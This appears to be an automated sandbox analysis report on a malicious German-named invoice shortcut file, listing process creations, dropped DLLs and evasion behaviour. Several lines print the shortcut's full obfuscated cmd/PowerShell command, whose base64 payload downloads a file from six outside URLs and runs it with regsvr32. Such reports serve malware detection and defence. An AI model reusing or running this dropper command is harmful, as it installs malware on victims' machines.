Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180024104 9_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180006308 9_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001370C 9_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001A10C 9_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180028D10 9_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180020118 9_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180004B18 9_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001A524 9_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180015F24 9_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000F328 9_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180002D28 9_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000E130 9_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180029134 9_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180008134 9_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180021738 9_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018002AF38 9_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180022140 9_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180028348 9_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000DB4C 9_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180014F50 9_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000B350 9_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180006954 9_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000F554 9_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018002975C 9_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018002B564 9_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180012168 9_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180013568 9_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180024370 9_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180008370 9_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180015774 9_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180012378 9_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180019178 9_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180025180 9_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180001980 9_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180021588 9_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001A988 9_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180018190 9_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180013994 9_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180026B98 9_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180028998 9_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001CF9C 9_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000359C 9_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001EBA0 9_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800061A0 9_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800135A6 9_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180016DA8 9_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800059AC 9_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000D7AC 9_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800053B0 9_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800135B4 9_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018001C1B8 9_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180015BB8 9_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800025B8 9_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800207BC 9_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800085BC 9_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800015C0 9_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000FFC0 9_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800295C8 9_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800229CC 9_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018000E5D4 9_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_000000018002A5D8 9_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800173DC 9_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180018BDC 9_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_00000001800261E0 9_2_00000001800261E0
Found potential string decryption / allocating functions
Source: C:\Windows\System32\regsvr32.exe Code function: String function: 00007FFFE21E7FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe Code function: String function: 00007FFFE21EB3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe Code function: String function: 00007FFFE21EBD70 appears 113 times
Tries to load missing DLLs
Source: C:\Windows\System32\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xboxlivetitleid.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cdpsgshims.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: Rechnungskorrektur 2022.20.05_1305.lnk ReversingLabs: Detection: 39%
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /v:on /c DZ9UkEaBzDep9CltZVGcsQuzGzfPdwf8nTfLANcu0jNEGxiW7YvnGsgahEnFDklFWCuez6Py||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\AppData\Local\Temp\..\JydgVvbPD\MevgMvopaw.BUS
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\UjKMhzOwg\JWwyPPSZDhCDc.dll"
Source: unknown Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\AppData\Local\Temp\..\JydgVvbPD\MevgMvopaw.BUS Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\UjKMhzOwg\JWwyPPSZDhCDc.dll" Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D105A4D4-344C-48EB-9866-EE378D90658B}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220523 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sjimkgkg.bpr.ps1 Jump to behavior
Source: classification engine Classification label: mal100.troj.evad.winLNK@23/11@1/4
Source: C:\Windows\System32\conhost.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180006F2C FindCloseChangeNotification,Process32FirstW,CreateToolhelp32Snapshot,Process32NextW, 9_2_0000000180006F2C
Source: C:\Windows\System32\conhost.exe Mutant created: \BaseNamedObjects\Local\SM0:7120:120:WilError_01
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\regsvr32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\svchost.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\svchost.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\svchost.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\svchost.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}" Jump to behavior
Suspicious command line found
Source: unknown Process created: C:\Windows\System32\cmd.exe" /v:on /c DZ9UkEaBzDep9CltZVGcsQuzGzfPdwf8nTfLANcu0jNEGxiW7YvnGsgahEnFDklFWCuez6Py||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}
Obfuscated command line found
Source: unknown Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /v:on /c DZ9UkEaBzDep9CltZVGcsQuzGzfPdwf8nTfLANcu0jNEGxiW7YvnGsgahEnFDklFWCuez6Py||p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$vFL=[System.Text.Encoding]::ASCII;$FhuEB='ICAgICAgV';$TCeK='3JpdGUtSG9zdCAiemdmSXoiOyRQcm9ncmVzc1ByZWZlcmVuY2U9IlNpbGVudGx5Q29udGludWUiOyRsaW5rcz0oImh0dHA6Ly9tYW5kb20uY28uaWQvYXNzZXRzL1RwSUl0N1NtTkJzV0NFQ0xvSHJTLyIsImh0dHA6Ly95YW1hZGEtc2hvc2hpLm1haW4uanAveWFtYWRhLXNob3NoaS9WNjFoSC8iLCJodHRwczovL2Jwc2phbWJpLmlkL2Fib3V0L1ZQZTY5QTlUay8iLCJodHRwOi8vbWFybWFyaXMuY29tLmJyL3dwLWFkbWluLzJjZnBTdUFILyIsImh0dHA6Ly9tYXNpZGlvbWFzLmNvbS9ENFdTdGF0cy9HQWhtZ3ZoTGdVbjYvIiwiaHR0cDovL3BhY2VtYWtlci5jZC9pbWFnZXMvWGMvIik7JHQ9Ikp5ZGdWdmJQRCI7JGQ9IiRlbnY6VE1QXC4uXCR0Ijtta2RpciAtZm9yY2UgJGQgfCBvdXQtbnVsbDtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZFxNZXZnTXZvcGF3LkJVUztSZWdzdnIzMi5leGUgIiRkXE1ldmdNdm9wYXcuQlVTIjticmVha30gY2F0Y2ggeyB9fQ==';$cFq=[System.Convert]::FromBase64String($FhuEB+$TCeK);$YnYHG=$vFL.GetString($cFq); iex ($YnYHG)}
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000C892 push ebp; retf 6_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000D095 push B3B8007Eh; iretd 6_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000D0F3 push ebp; iretd 6_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_0000000180013551 push ebx; retf 6_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000D15D push ebx; retn 0068h 6_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000CDA8 push ebp; iretd 6_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_000000018000CE36 push 458B0086h; iretd 6_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe Code function: 9_2_0000000180013551 push ebx; retf 9_2_0000000180013559
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\regsvr32.exe Code function: 6_2_00007FFFE21F12E3 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer, 6_2_00007FFFE21F12E3
PE file contains an invalid checksum
Source: MevgMvopaw.BUS.2.dr Static PE information: real checksum: 0x654f5 should be: 0x5a4e0
Registers a DLL
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\UjKMhzOwg\JWwyPPSZDhCDc.dll"

Persistence and Installation Behavior
barindex
Windows shortcut file (LNK) starts blacklisted processes
Source: LNK file Process created: C:\Windows\System32\cmd.exe
Source: LNK file Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Jump to behavior
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\JydgVvbPD\MevgMvopaw.BUS Jump to dropped file
Drops PE files
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\UjKMhzOwg\JWwyPPSZDhCDc.dll (copy) Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\JydgVvbPD\MevgMvopaw.BUS Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\regsvr32.exe File created: C:\Windows\System32\UjKMhzOwg\JWwyPPSZDhCDc.dll (copy) Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\System32\regsvr32.exe File opened: C:\Windows\system32\UjKMhzOwg\JWwyPPSZDhCDc.dll:Zone.Identifier read attributes | delete Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\regsvr32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
